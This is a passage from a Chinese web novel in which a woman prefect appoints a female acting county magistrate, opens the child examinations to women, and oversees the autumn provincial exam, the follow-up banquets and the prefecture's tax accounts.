两人共事虽久,但这种不科举的想法,却是头一次讲。 费开宇讲完,祝芳洁脸色不算好,只冷声道:“知道了。” 知道了? 就知道了? 我放弃了什么,你知道吗?! 祝芳洁何等聪明,也不客气:“那是不是要夸夸你,放弃了我等没有的机会?” 放不放弃科举,对祝芳洁来说不重要。 重要的是,在自己面前搞的有多大牺牲一样。 费开宇不说话了,忽的有些愧疚。 祝芳洁挥挥手:“跟你无关,不用这般。” 祝芳洁向来是对事不对人的。 这般性格,费开宇着实敬佩。 不过很快,苏大人对他们的安排,让两人都带了惊喜。 苏清打算,让费开宇去皋青州管事。 当然,并非做那里的知州,苏清可没认命知州的权力。 只是让他过去,接替崔大人手头的事,并且成为皋青州一城六县,实际的“地头蛇”。 说白了。 就是有知州的权,但没有知州的名。 甚至连县令的名号都没有。 还不能跟在苏知府左右。 即使这样,费开宇还是极为惊喜。 他科举都不考了,还在乎这些。 他知道皋青州的情况,更知道那边经历了什么。 若是能给当地百姓带来一些改变,他肯定愿意的。 南江县衙门上的守令爱民四个大字,他是真的记到心里。 而且能被派过来,就证明是苏大人的心腹啊! 他能不惊喜吗?! 而祝芳洁,也会从县丞成为县令。 苏清道:“暂代县令,但我会给朝廷上书,请皇上同意。” 要说广乐府如今,已经有不少女书吏。 毕竟自南江县开始,苏清再做知府后,各地都有效仿。 但职位最高的,就是在广乐府府衙的邬杉月邬户司。 不过任命她时,广乐府还是个烂摊子。 朝廷那边也不在意。 如今战事结束,还要再任命一个女县令。 想来京城那边的儒生们,必然有话要说的。 苏清直言:“这是场硬仗,真正的县令任令下来,还需要时间。” “要耐心,还不能被抓住错漏。” 祝芳洁立刻点头。 给了她这个机会。 她肯定不会放过的,更不会让人夺了去。 可祝芳洁明显还有个疑问。 费开宇忽然道:“不对,苏大人!” “您让我去考科举,就是给祝大人让位对不对!” 苏清挑眉:“考完秀才考举人,这不是应该的吗。谁能想到你不愿意去。” 说起来。 祝芳洁这条路才是最稳当的。 先在户房做书吏,之后去吏房也做过一段时间。 等邬杉月去府城,她便是户房主事。 再后面职位有所变动。 她顶了费开宇的职位成了祝县丞。 现在一年过去,稳稳当当做代县令。 以这份资历送到京城,也是挑不出什么大错的。 不过苏清没想到,费开宇不想考举人,还要待在这。 还好,皋青州那边缺人。 否则真的难办。 祝芳洁难免眼眶带泪。 她没想到,苏大人考虑的这样周到。 更没想到,她的想法也被苏大人看在眼中,记在心里。 回到南江县的家中,祝芳洁点燃烛火,独自坐在黑夜当中。 永晟三年,三四月份那会。 她跟着母亲来到南江县的亲戚家,目的是给她寻门亲事。 毕竟在老家山阳府,她的名声已经没了。 肯定找不到好人家。 原因就是,她不想嫁给痴傻的未婚夫。 所谓的未婚夫,从小痴傻,却是瞒着她家,连哄带骗定了娃娃亲。 那一年她才三岁。 等家人得知未婚夫是傻子时,她已经十三了。 当时的她读书明理,自然拒绝。 可家里人斟酌再三,说婚事已定不能退。 而且对方家里良田千顷,财力丰厚,嫁过去不会吃亏。 祝芳洁从小聪慧,自然知道家人为什么同意。 无非看上对方丰厚的彩礼。 可她执意不嫁,一直到拖到十七八。 那家硬是要求娶,甚至想直接抢人。 祝芳洁宁愿上吊也不从的。 还是母亲心软,带着她来到广乐府的亲戚家。 这家亲戚说,此地知县是女子,应该能庇护她,再寻一门亲事,那边就能罢休。 可她没有听话,而是自己偷偷跑去应招衙门书吏。 母亲跟这家亲戚都目瞪口呆,极为不解。 母亲因此还生了场病。 要不是苏大人亲自去看,她肯定不能留在衙门。 但接下来的事,还是让母亲跟亲戚不能理解。 衙门进出的都是男子。 总共加起来,也就邬主事以及她的丫鬟,还有新招来的两个女书吏。 这让本就觉得她有娃娃亲的人家更不愿意。 想要找上门的,多是些要软饭硬吃,不是正经人的。 所以母亲好说歹说,让她辞掉书吏的差事,不如回家算了。 见她一直不同意,老家又有人来接。 祝芳洁的母亲只好垂泪离开。 这家亲戚也借口给她另租了房子。 祝芳洁直接搬家,自己付了租金,住到独门独户的小院里。 直到。 她当上县丞。 “芳姐,你什么时候回来的。” 祝芳洁的爹娘走过来,脸上带着和蔼地笑意:“快,家里都没吃饭,就等着你呢。” 祝芳洁小院对面,是个两进的房子。 她全家在去年搬过来的。 因老家山阳府粮价飞涨,家里日渐入不敷出,只能另寻出路。 这倒跟所谓的傻子娃娃亲没什么关系。 那家在看到祝芳洁当了书吏后,就直接了当退亲了。 说什么自己家丢不起这个人。 然而去年,祝芳洁当上南江县县丞。 先是傻子家去祝家求和。 之后是祝家主动搬到南江县。 他们本想让芳姐与他们同住。 祝芳洁自然拒绝,说自己一个人住习惯了。 所以家里就在对门寻了个房子。 而那家亲戚自不用说,现在也是亲热极了。 只是当了县丞。 家里态度就一百八十度转弯。 祝芳洁知道他们的想法,完全不主动不拒绝,更不会用身份帮他们谋利。 但所有人都知道,她这个祝县丞只要在一日,这家里的日子,就会极为太平。 所以她成了这个家的家主。 不满她要退婚的爹。 埋怨她要当书吏的娘。 只有恭恭敬敬的份。 即使她回来的很晚,也要全家等着一起吃饭。 与自己便利的事,祝芳洁也不会拒绝。 只是她有点恶作剧的心态。 等这几家,知道她要当县令了,会不会更谄媚。 算了。 也没什么意思。 有功夫不如多建几个药材作坊。 听苏大人的,他们这里不仅要生产药材,还要做药材加工。 不过这饭嘛,还是要吃的。 “走吧。”祝芳洁开口道。 吃饱饭,继续办公。 祝家一片太平。 费开宇家里则鸡飞狗跳的。 得知他不去考举人,反而要去皋青州“闯荡闯荡”。 家里人只抹眼泪。 这怎么可以啊。 家里这么艰难,全靠他当县令之后,日子好过些。 现在不去考举人更进一步。 反而连县令都不当了,直接去什么皋青州 那边什么情况,你不知道吗? 十室九空,哀鸿遍野啊。 费开宇却道:“苏知府从那边回来,情况已经没那样差了。” “那你过去,可有什么官职?”家人问道。 这肯定没有。 广乐府任命一个县令,尚需皇上允准。 何况皋青州的事。 费开宇并不解释太多,只道:“我是辞了官职,去那边看看有没有什么事情可做,自然是无官无职的。” 果然,这话让费家心如死灰。 只是他们都知道,谁都劝不动眼前人。 还好他们在老家的粮田药材田都不错,吃喝过日子肯定没问题。 但想指望费开宇大富大贵,是不大可能啊。 人家做官,都是越做越大。 费开宇这不仅不当官了,还不考科举。 谁不头疼。 永晟五年,七月二十四。 费开宇离开,祝芳洁当上南江县县令。 费开宇的去向,多数人都不知道。 但有一个女县令的出现,即使只是代县令。 还是让周围州府震动。 一个女的就算了。 怎么又来一个?! 还直接当地方长官!? 就连广乐府内部,也有所讨论。 更让他们诧异的是。 在苏清去往府城之前,对祝芳洁道:“马上八月份,想来很快就要准备明年童试。” “今年童试,允许女子报名参加。” “皇上重视科举,咱们必要响应的。” 不对吧? 皇上重视科举,也不是这种重视法吧?! 人家没说过,让女子也报名参加吧?! 这对吗? 无数人满头问号。 苏清留下重磅消息,施施然去往府城。 她相信祝县令可以处理。 而且只有她去了府城,才能压制广乐府之内的反对声音。 至于周围其他地方的嘀咕。 那也要等她在府城衙门了,再跟他们一一争辩。 对祝芳洁当县令,以及女子可以参加童试的消息。 隔壁山阳府的反应自然最大。 原因无他,这女子是山阳府出身,还因抗婚离开。 她本就给当地女子带来极为不好的影响。 现在不仅当了县令,还要招其他女的。 实在是令人发指。 情况是这样的。 山阳府其他女子见祝芳洁抗婚之后,不仅没有恶果,反而越过越好。 整个家族都听她的,甚至追随她去了南江县。 连退婚的傻子未婚夫一家,也对她毕恭毕敬,就差当亲戚走动了。 说好的退婚之后,一辈子就完了。 说好的不听爹娘的话,就没有好前程的。 这怎么说的,跟现实完全不同啊。 一时间,山阳府女子女学兴起。 家里只有女儿的人家最为高兴,恨不得女儿立刻读书成才,当官发家。 至于女子们,自然手不释卷,个个都要读四书五经。 用山阳府知府的话来说:“人心躁动,不堪入目。” “女子风气败坏至此,皆因祝芳洁!” 所以山阳府知府最反对祝芳洁当县令,代县令都不行! 八月初一,苏清刚到府衙,就看到文书堆山码海的。 隔壁山阳府,石纹州,巴竹府等地,纷纷送来信函。 基本都是斥责苏清所为。 什么纲常伦理,什么三纲五常,什么祖宗之法。 总之一句话。 祝芳洁当县令? 不行。 女子参加童试。 更不行。 山阳府沈知府,就差指着她鼻子骂了。 面对这样多的文书,苏清面不改色。 在她提出这件事的时候,就预料到顺昌国其他地方的反应。 但那些地方如何,她并不怎么在意。 而是让吏司主事魏来帮她看看,广乐府那些官吏强烈反对。 “抱怨几句的,不必多管。” “心有怨恨的,在年内换掉。” 苏清直接道。 深耕在府城的魏吏司一直低调。 可他自苏清当县令起,就是心腹,自然听令。 魏吏司颇有些恍然大悟。 苏知府确实想提拔祝芳洁,也确实想开女子科举。 更能利用这件事。 来找出心有不满的官吏。 这些人藏得深,平时抓不到,现在倒是都跳出来了。 其实放在以前,苏清懒得管。 但现在情况不一样,她的目标也不一样。 自然要用些非常手段。 苏清回到府衙,先是看了这几个月的差事。 大体上没什么问题。 现在各县都在准备秋收,农具也准备的去齐全。 其中两县今年雨水过多,估计会减产,邬户司备好粮食,到时候看情况运过去。 好在这两地河堤修得不错,工司江主事很早就派人过去盯守,确实没出过事。 几个月的公文看完,苏清还是不能休息。 要把各州府知州知府来信回复了。 云喜绿兰就在旁边陪着,忍不住打盹,还是苏清把他们喊醒:“走吧,回房睡吧。” 出了书房,才看到漫天星辰,万籁俱寂。 第二日信函送出,苏清已然坐到大堂上。 听各部汇报差事。 罗主簿在旁边补充。 三班依旧是武捕头领着,没什么问题。 六房以魏吏司,邬户司,江工司为首。 众人说罢,准备充分的王学政终于能开口了。 王学政脸上既有欣喜,也有焦急。 欣喜是因为,八月十六秋闱在即。 广乐府这边,不论是前期准备,还是学生数量,甚至质量,都远超其他地方。 焦急,因为南江县允许女子参加童试。 不过他知道轻重,汇报的时候只说秋闱。 “京城礼部派来的巡考官主考官七月就已经来了,全都安排在贡院里休息。” “以梁大人为首,对咱们广乐府秋闱筹备很满意。” 王学政说了许多,最后只隐晦提了嘴。 梁大人他们大体上满意,但对府学里的儒生太少,还是有些意见的。 好在参加科举的考生数量不少,成绩也优异,这才没说什么。 最后是,梁大人他们想见苏知府,问苏知府有没有时间。 礼部梁大人等人过来,苏清知道的,也有公文往来。 但还未正式见面。 算是由王学政牵头,双方见一见。 苏清点头,只道:“那由学政安排时间吧。” 接下来的秋闱确实很重要。 苏清也没打算糊弄。 但梁大人特意要找她见面,却是没想到的。 武捕头那边打听来消息。 说是礼部官员刚来的时候气势汹汹,明显是要挑刺的。 真正到地方了,态度反而温和不少,还夸广乐府治理有方。 不过南江县祝县令跟童试的消息传过来,又是另一回事。 苏清心道,这礼部梁大人他们,在这玩变脸呢。 看来要见她,多半因为祝书吏跟女子童试之事。 苏清既然做,就没打算收手。 尤其是山阳府知府的态度,更无关紧要。 看完人家又寄来的信件,苏清随手丢到一旁。 你们山阳府女子都在读书都想当官,关我什么事啊。 八月初九,正是个好日子。 王学政做了宴席,分别请苏知府跟京城梁大人他们吃酒。 当然,都知道苏知府不能喝酒,给她换成桂花蜜水,其他人也没有意见。 苏清欣然前往。 从京城来的礼部官员们,却多有讨论。 自苏清当了县令之后,他们就多次听过这人的名字。 她当知府,也算万众瞩目。 不过那时候皇上还在金陵,他们这些官员多半在地方,大家无暇想那么多。 现在战事没了。 京城那边,对此多番讨论。 隔三差五就要提一嘴。 不少人对苏清当广乐府知府,还是有意见的。 甚至包括梁大人。 作为礼部官员,他确实认为苏清当知府,并不合时宜。 只是很少有人知道,这位梁大人第一个任地,就是在通民府。 就是苏清的老家。 通民府民风淳朴,梁大人印象极佳。 故而对苏清是抱有善意的。 尤其是去年上京任职途中,路过通民府,眼前的景象几乎让他不敢置信。 原本民风淳朴,安居乐业的通民府,竟然变得匪盗丛生。 百姓日子过得极为艰难。 梁大人虽然知道,这不是一个地方的问题,难免感怀伤逝。 因这样的想法,对苏清抱着天然的亲近。 所以不管同僚们如何义愤填膺,他心情还好。 尤其到了广乐府后。 他们期间也路过本府几个县,发现一到广乐府地界,粮价物价,骤然降低。 问了就知道,都是本地府衙调节,不让奸商卖高价。 不过最让他们惊喜的,还是广乐府内的官道一直有人修缮。 所以坐着马车的官员们,终于没那样颠簸了。 尤其是经济较好的几个县,道路平坦笔直,都是这一两年修建的。 “进了广乐府,情况完全不同。” “这里面竟然也无匪贼,更无流民。” “人人安居乐业,多少年没见过这样的场景了。” 梁大人为首的考官们,都是饱读诗书的。 看了外面的情况,再看看此地风貌,对苏清这个知府自然没话说。 到了府城后,知道苏知府又去其他地方巡查了,心里也暗暗佩服。 美中不足的,就是府学里人员才杂,儒学生只有三分之一。 王学政再三解释,又给他们看了考生的报名人数,以及大家的文章。 这才让众人点头。 直到听见南江县消息传来。 不出意外的话,苏清给祝芳洁请令的文书,已经递上去了。 童试允许女子参加,消息也传到京城。 真不知京城那边如何震怒。 不过在梁大人安抚下,还是让大家冷静。 别的不说,就讲此地的安稳,他们也该听苏知府解释的。 从而有了这次宴会。 众人只见苏清这个年轻官员,笑眯眯走过来,看着如自家晚辈般亲切。 哎,谁家晚辈能有这种出息啊。 自家那些小子,一个比一个荒唐。 女孩家的,倒是没仔细看,只要女红品德不错就好,将来嫁个好人家,给家里增光添彩。 苏清笑着先行了礼,她到底是地方官员,京官都算她上司。 一一行礼,主人王学政安排众人分主宾坐下。 梁大人跟苏清在首位,其他人各自落座。 王学政十分开怀。 秋闱算是他的差事,更是他大展拳脚的时候。 尤其知道其他各地自顾不暇,对秋闱不算重视。 那更是他扬名的好机会啊。 王学政吃了些酒,美滋滋道:“苏大人还记得去徽州的赵知州吗。” “他们今年遇了水患,秋闱差点停办。硬是东拼西凑,才把秋闱办起来,但很多考生家里都遭了灾,多半考不成了。” 王学政颇有些幸灾乐祸。 当初他想让赵知州带他走,因自己给的贿赂少,那人就是不带。 现在好了,露脸的反而是自己。 不过他刚说完,就见梁大人苏大人都看向他。 苏清甚至放下蜜水杯子,开口道:“不知那边百姓日子如何。” “托人去问问,等秋收过后,若有余粮可以运过去些。” 此言一出,其中一礼部考官拱手,眼睛有些湿润:“苏大人此话当真?若广乐府能慷慨解囊,我徽州乡亲感激涕零。” 王学政冷汗直冒,吓得酒都醒了。 礼部官员多从科举中选出。 也是今上一贯作风。 而江南一带的科举人才,又不用多说。 他怎么就口无遮拦,嘲笑江南徽州的水患,而且江南那边有水患的,也不知徽州一地。 甚至梁大人老家也在那一带。 没等他找到借口,就听上司苏大人道:“当年广乐府战事,也是各地鼎力相助。” “如今徽州一带有难,我等会尽绵薄之力。” “王大人方才所说,倒是提醒我了。” 有苏知府这个台阶,王学政连连点头,赶紧找补几句,还道:“以江南学子的学问,必然能渡过此次难关。” 宴会气氛终于恢复,弹唱的戏子们也敢大喘气了。 梁大人等京官脸色稍缓,就听苏清当真把这事几下,让左右草拟文书出来。 真要捐粮啊? 苏知府确实大度,也确实一心为民。 王学政擦着头上的汗,感激涕零地看向自家上司。 救我性命啊! 多谢长官大人了! 苏清并未多讲,只跟梁大人讨论宴会上的戏曲,并聊些家常。 提到弟弟年幼时,苏清叹口气:“当时家里无人替父亲办差,我才匆匆当了主事。” “也是机缘巧合,否则也不能养育幼弟,更不会有如今了。” 当年苏清能当上南江县主事。 其中一个原因,就是她是“子承父业”。 这在儒家看来,一定程度上符合伦理纲常。 一定要说的话,她不是男子。 不过替自己父亲履责,必然会被夸赞。 那问题来了。 这朝堂之上,这庙宇之外,有没有相同的情况。 想守住自己的家业,却苦于有没有男丁继承的。 若自己女儿能接替,也是条出路。 就像苏清这样。 苏清点到即止,并未往下说。 再者,她也不是说给这些人听的,而是让他们传回京城。 传到能从中获利的人耳朵里。 朋友们,自然越多越好。 相信全天下要靠女儿争权的不止一个。 想靠科举出身的女子,甚至家族也不止一个。 这些人拉拢过来。 不仅是她的护身符。 苏清笑着喝茶,更像他们各家的女儿侄女外甥女了。 要不回家看看? 儿子不成器,万一女儿成器呢? 当然,大家也只是暂时想想。 但这个念头只要存在,便谁也阻拦不了。 一顿席面吃过,第二日王学政便早早过来谢自家上司。 “下官真的冷汗都冒出来了,吃了几杯酒,就什么也不知道了。”王学政解释之后,再次谢过。 苏清道:“此事已然揭过,考官等人很快就要进贡院,你小心照顾,需要什么就同邬户司讲。” 学政连连点头。 不过他也有点好奇。 他们广乐府花销不小。 听说叶家花家的欠款也还清了。 这还没收秋税呢,哪来那么多钱啊。 是武器作坊卖农具挣的吗? 这点苏清就不解释了,让他好好办科举即可 至于农具那边,确实开始盈利。 但因为山阳府的铁矿价格越来越高,花家的生铁价格也越来越高。 他们卖农具的价格却又很低,想也知道没赚多少钱。 现在广乐府看着不错。 还是卖京城宝物卖的。 这本私账在祝芳洁跟苏清手中。 原本的三十六箱物件,送到京城五箱。 四月之前又送到叶山鸣手里九箱,晏总兵又往里添了些。 苏清离开府城这段日子,又运过去十箱。 反正总共算下来,南江县库房里,大概只剩八箱物件,以及苏清手里三百万两银子。 就算这样,其中一百万还要让武捕头派人,送到皋青州的费开宇处。 剩下的银子,用于武器作坊革新院,以及府内额外支出。 幸好有这份“意外之财”。 否则广乐府日子不会这样好过,更不能腾出手,帮徽州等地赈灾。 这些银子,曲折繁琐,弯弯绕绕。 也算用到百姓身上了? 好想再发一次财啊。 可惜让她发财的晏铮州,已经到京城了。 暂时没有消息传过来。 但以皇上的小心眼程度,他的日子肯定不过好。 反正不如在广乐府皋青州自在。 也不知道,他跟顾从斯有没有交际? 真别怪她恶趣味。 今日还看到顾从斯他爹了,也在为秋闱忙碌。 不过现在没有婚约关系,只是普通上下级罢了。 思绪刚放飞一会,苏清又把私账收好。 永晟五年,八月十六。 顺昌国秋闱开始。 今年本地秋闱共计两千三百七十九人参加。 五场考试,连考三日,八月十九中午出考场。 阅卷十日,八月二十九出成绩,三十放榜。 能不能考中,就看这三日了。 因皇上重视科举,顺昌国各地无论什么情况,都将秋闱当做头等要事。 顺昌国历经磨难。 一定能在科举考试里选拔出合适的人才,振兴朝纲。 皇上更会重用这批人才。 反正京城那边是这样讲的。 远在皋青州的费开宇甚至都听说了。 他现在已经接手皋青州州城以及各县差事。 当然明面上也只是个小小书吏。 手头却有苏大人尽量挤出来的一百两银子。 考虑到皋青州兑换不易,大人甚至给他送来现银。 大人说,让他着重收服皋青州十九处铁矿。 武捕头的大儿子,以及文千户手底下的士兵,都供他差遣。 还有文瑞等,极熟悉皋青州情况的官员老吏在暗处帮衬,他肯定会把铁矿握在手中的。 所以自己不科举,又有什么了? 照样有前途啊。 听皇上画大饼,不如听他们苏大人的! 远在府城打掩护的苏清,谁都看不出她背后在做什么“小动作”。 她这个四书五经都没看完的人,被请到贡院里面,进行最后的评卷。 今日八月二十九,考生的前三百名,大概已经排好顺序。 唯有前十,又或者说前三的名次,大家各有争执。 这种情况下请来知府坐镇,也是理所应当的。 考官等人,心里其实有些芥蒂。 苏知府处理政务是一把好手。 但于文章方面,是不是差了点。 她别说秋闱了,就算童试,也没参加过啊。 苏清心里好笑。 不会写,不代表不会看。 现代人的鉴赏能力,还用得着说? 语文课本上,哪一篇不是千古佳作。 再说了,她就算看不出什么,可作为广乐府知府的,这些人就要给这个面子。 苏清一篇篇看过去,还真能说个一二。 当然,也有说错的地方。 都不用她开口,便有夫子帮她找补,王学政更是连连点头,说苏知府果然上知天文下知地理。 云喜绿兰都看傻眼了。 之前没在府城,苏姐姐跟之前没区别。 现在官员环绕,大家也太阿谀奉承了吧! 怪不得苏姐姐说,要保持本心,不能被其他人言语迷惑。 苏清心里再次强调一遍这话,拱手对的学问最好的主考官梁大人道:“梁大人当年科举,是会试第四的成绩,我等望尘莫及。” “如此专业的事,还是交给专业的人来吧。” “主考官梁大人,请您来定。” 梁大人见苏清并非推脱作假,忍不住点头。 要说苏知府的眼力,实在不俗的。 对文章的看法也有独到见解。 没想到她却不揽权,也不恋权。 天底下的官员里有这般品性的,五个指头都数得过来。 难得,太难得了。 若天下的官员,又或者更高位的人,都能如此行事。 顺昌国何愁不太平,何愁不国泰民安。 广乐府的差事,办得实在让他神清气爽。 天底下所有差事,要是都能这样很顺利,那就好了啊。 没有勾心斗角,只想一心把事情办好! 冲着这份品性,回京之后,他都要帮苏知府说说话的! 第62章 广乐府秋闱顺利结束。 两千三百多人参加考试,只取前一百二十人,分甲乙丙三榜,另有二十人增补。 还有一百六十人虽有名次,却封存不提,如果前面考生有问题,才会拆档录用。 考上的举人不胜欢喜,前十名相约拜见知府,学政,以及主考官等人。 除去他们主动拜会,还有礼司跟贡院办的秋闱宴。 上述官员肯定都到场,再有三榜举人由今年案首领着前来赴宴。 以及府学官员夫子等人作陪。 苏清作为主宾,直接去赴宴即可。 另梁大人等几位京城礼部官员,也是主要宾客。 再往下,便是今年秋闱案首,广乐府尚口县的祁安平,祁案首。 今年不过二十二,也就比上次乡试案首顾从斯大一岁。 如此年轻有为,京城官员同他往来颇多。 秋闱第二名,大家都很熟悉了。 广乐府花家小少爷,花景明,今年二十三的他,在举子当中,年纪也不算大。 尤其跟第三名比,这位为南江县秀才,名叫惠容,今年三十三,以前在衙门当官书吏,很是稳重的一个人。 去年年底那会,他就主动辞去职位,专心备考了。 用他的话说,就是他觉得,这次科举肯定能考上。 虽说之前已经拜过。 但秋闱宴上,还是以祁案首,以及第二第三领着,再拜长官考官等人。 苏清是不讲这些繁文缛节的,其他人随着她,让大家各自落座,吃酒看戏即可。 前三名的位置,距离苏清最近。 除了祁案首之外,花景明跟惠容跟苏清都很熟悉,语气颇带了熟稔。 苏清笑着说话,又专门问了祁案首如今住在何处,家里情况可好。 问到这,大家才知道他出身困苦,又因战乱亲人离世,一直在南江县某地私塾读书。 等战事彻底结束,才回了家乡尚口县。 苏清有些疑惑,南江县有如此人才,她怎么不知道? 梁大人也感叹:“你家那种情况,一边做事一边读书,实在辛苦了。” 尚口县彻底脱险,也就不到两年时间,这备考时间如此短。 祁案首的天赋,可见一般。 谁料想,那祁案首竟然微微抬头,眼神带着崇拜。 “实不相瞒,除了永晟元年年初那会,学生一直没有中断读书。” 云喜跟绿兰,以及罗主簿,邬户司这些南江县出来的人,瞬间明白怎么回事。 祁家人运气好,早早逃到南江县。 恰好南江县有苏主事在,给粮给药,所有人的命都能保住。 等县里情况好一些,又资助各村各地办学。 这些有真才实学的读书人,应该就是拿了衙门给的补贴,才能安心读书。 苏清不知道他,自是因为南江县大大小小私塾二十多家。 有天赋的读书人实在不少,她也不能全然知晓。 南江县生活安定,培养出来的有才之士,自不在少数。 苏清反而笑:“看来是我的疏漏了,若再用心些,也能提前知道人才在何地。” 祁案首连连摆手。 他心里对苏大人的感激无以言表,如今能入大人的眼,已经是万幸了。 还好他考中案首,否则这些话,不知道什么时候才能讲呢。 花景明看的皱眉,表情明显不太对。 这被梁大人他们看到,自以为是他得了第二,故而心里失落。 不过在他们这些官员看来。 秋闱第二的成绩已经不错,最重要的是,祁案首家世拖了后腿。 以花家的家世,他才是前途无量的那个。 至于第三名的惠容,年纪又大,成绩也不是拔尖的,只看之后的造化。 再往后的考生,官员们心里都有估量。 一场宴会结束,该结交的也都结交了。 等花景明终于能凑到苏清身边,开口道:“大人,我方才听梁大人他们说,您准备给徽州等地捐粮?” 苏清看看他:“怎么这样客气了。” 花景明一下子笑了,瞬间恢复原样,还看了眼祁案首跟惠容,笑着道:“好吧,那就不客气。” “我爹说,若府衙有意捐粮,花家也会添上一份,您说一声即可。” 苏清挑眉。 这么好? 花家如此热络,也不难猜。 花景明考上举人,名次也不错。 明年就要参加会试,花家这是用钱粮给他铺路。 以后为官之路更为顺畅。 既然他们要花钱买名,苏清也不客气,点头道:“好,此事暂时不着急,等徽州等地送消息再说。” 捐粮这种事,他们不必上赶着,上赶着不是买卖。 消息既然已经放出,那些地方自然有考量。 花景明也知道这点,此时也算没话找话。 说起来,他跟苏清有段时间没见。 苏清为官忙碌,他也在备考,如今考上举人,两人距离总算近了些。 他们这些话说完,苏清对三人道:“接下来准备做什么,继续备考吗,递补候补文书吗。” 考上举人的考生们,各有安排。 但共同点肯定是回自家办庆功宴。 不过也有些区别,对自己有信心的,便不递交候补官职的文书,专心备考会试。 对自己没信心,则把候补官职的文书交上来。 通俗点说,就是把举人名字报到本地吏司,再由吏司转到京城吏部。 若有合适的官职,就可以任派出去了。 前些年的时候,顺昌国职位空缺极少。 别说举人,就算是进士,也没合适的位置。 但几年动荡,又换了新皇。 空出来的官职不少。 现在递交候补,大概率能补到位置,就是看位置高低了。 对科举前三的举人来讲,他们三个肯定要拼一拼。 所以苏清接下来的话才是重点:“这届考生当中,若有品行好,愿为民请命,又想候补官职的,私下帮我留意。” 她花那么多钱办的秋闱,让她先打捞一波人才,这没问题吧? 祁案首,花景明,惠容三人都是考生,还是这届前三,跟其他人接触的多,更知道大家的性格。 而且他们三人,苏清都信得过。 花景明不提,其他两人对苏清的敬意,已然溢于言表。 果然,三人都满口应下,并且对此事避而不谈,偷偷寻摸人才。 秋闱宴过后。 三人宴请不断,不管哪个同年来请,他们都去赴宴。 只赴宴就罢了,又要考究诗词歌赋,还要考验人品性格。 搞的同年都有些发愁。 一来二去,只想吃喝的人,自然不大凑近。 留下来的同年,则是志趣相投的。 等他们把名单交给苏大人,这次回乡的回乡,办家宴的办家宴。 只是名单交给苏大人前,三人暗暗较劲,定要选出真正的人才。 甚至等着看,大人选谁举荐的人才。 苏清偶然知道他们暗自较劲,还摸不着头脑。 不过有一个名字,出现在三份名单里。 汪鹤,今年三十九,秋闱排名一百零二,自觉明年会试无望,只是按照规定去应个景。 所以早早递了候补文书来。 他早年家贫,二十三的时候考上秀才,一直做私塾夫子。 几次秋闱不中,也就歇了想法。 不过当夫子的收入不稳定,其中一学生家长,替他谋了个县衙书吏的差事。 衙门六房他都待过,什么脏活累活也都干过。 当年叛军起,他也是少有没逃跑的书吏差役。 冲着这一点,就足以让祁案首跟惠容推荐他。 花景明推荐也因汪鹤这人好说话,上司让做什么就做什么,很适合在苏清手底下做事。 再加上他做过的差事多,算是经年老吏,送到手边就能干活。 苏清嘴角抽了抽。 不愧是花家人,确实能压榨手下的。 苏清把汪鹤等人候补文书送到京城吏部。 再给齐内官去信,请他帮忙把汪鹤等人安排到皋青州州衙门做事。 等到明年这几人会试落榜,就能赴任了。 汪鹤他们也不知道,自己的官职基本定下,这会正走亲访友,想着找找机会。 好在考上举人,日子就格外不同,不用太过忧心。 这些事处理完,便到主考官等人回京的日子。 苏清跟王学政亲自去送。 出身徽州的官员斟酌半日,还是提了捐粮一事,说自己给徽州赵知州写信,不日就有文书过来,请苏知府查阅。 苏清自然应下,只要他们来信,自己就会看的。 至于捐不捐,如何捐,就看那边的态度。 王学政嘴角抽搐。 他可没忘那位赵知州走时,是什么嘴脸。 那位等着看苏清笑话,觉得把广乐府这个烫手山芋给扔了。 现在反而要来求苏大人,实在有意思。 徽州官员显然也知晓,似乎对赵大人的反应也不满。 送走京城官员,广乐府恢复平静。 说平静也不对。 现在已经九月,各地粮食都收得差不多了。 跟其他地方不一样,他们广乐府也有水患,但防治的及时,没有造成大面积减产。 修的堤坝,沟渠,都发挥了大作用 没有灾害的地方,粮食产量,耕地面积,都有增加。 安定的环境,平稳的生活,相对清廉的官吏。 都是耕地粮产增加的重要原因。 而他们广乐府三样都占了。 出身徽州的官员,这样恳求请苏清帮忙。 也是看出来,顺昌国那么多州府,就他们广乐府还有余力帮其他地方。 等到九月中旬,广乐府今年的秋税统计出来。 府衙书房内,苏清坐在主位。 下面罗主簿,武捕头,六司主事,王学政等人都在。 讨论的,肯定是今年广乐府收入。 永晟三年,本地税收折银七十六万两。 永晟四年,折银八十九万两。 到今年,广乐府一年各种税收加起来,已经有一百一十九万两。 这等税收出来。 实在让本地人惊喜。 一个的田地有所增加,二是各种商贸也在起步。 还有便是,各地隐田大户,也清扫的差不多。 但让府衙头疼的事情还有不少。 前两年可以不给朝廷交税。 今年说什么都躲不过了。 任凭苏清巧舌如簧,都不大可能。 什么? 你们还养着边关十六万将士? 也不用你们养了,朝廷会逐步接手。 现在不用打仗,军中花费骤降,京城那边已经有准备,兵部不日就会下文书。 广乐府不必再管军中之事。 作为地方,跟军中保持距离,也是为地方官员好。 这点确实没问题。 从兵部派人接替晏总兵,并不跟苏清这边碰面,就看出些许端倪。 一个得民心的地方那个官员,还管着将士们开支。 太不妥当。 所以你们广乐府该给朝廷交税银交税银。 其他的,不用多操心。 云喜吐槽道:“以前用咱们的时候,怎么就不说这话了。” 以前军费开支巨大,全都压在他们头上。 现在开支逐步减少,就自己揽了过去,然后问他们要银子。 说白了。 就是要钱啊。 不怪云喜对朝廷印象不佳。 从他跟着苏姐姐到现在,就没见过朝廷京城皇上出过什么力。 都是有事苏姐姐上。 有好处皇帝凑过去了。 如果当不好皇帝,可以让苏姐姐当的! 云喜瞬间捂住自己嘴。 还好没说出来。 他自己都为这想法胆战心惊。 苏清看了看他,明显问他怎么了。 云喜赶紧摇头,乖巧站在一旁。 苏清又转过头,同下属谈事:“军费交出去也好,里面开支复杂,以后只顾咱们府内即可。” 众人点头,邬户司道:“京城一直在问咱们府内税收具体数目,不知要调用多少。” 按照早些年的惯例。 县里税收的八九成交给府衙,府衙再分出七八成给到京城。 这种方法,很容易造成地方上收支不够用,衙门就要另想收入。 各地官田是很好的补充,再加上一些额外收入,用于衙门经营。 最近几年情况不同,各地都不一样,不好拿来一起讲。 所以京城户部要先看账目,再决定从各地抽调多少。 邬户司这个疑惑,也是大家的疑问。 “要不找找京中的关系,少调一些。”魏吏司道,“就算不管军中,咱们广乐府的开支也不小。” 礼司主事也是这个意思。 而且知府大人还要拨粮给徽州地带,这部分支出也要算进去。 总之,少了军费负担,他们都很高兴。 但朝中要调多少税收,他们心里都没数。 木秀于林风必摧之。 他们广乐府似乎有点太扎眼了。 有时候差事办的太好,反而很麻烦啊。 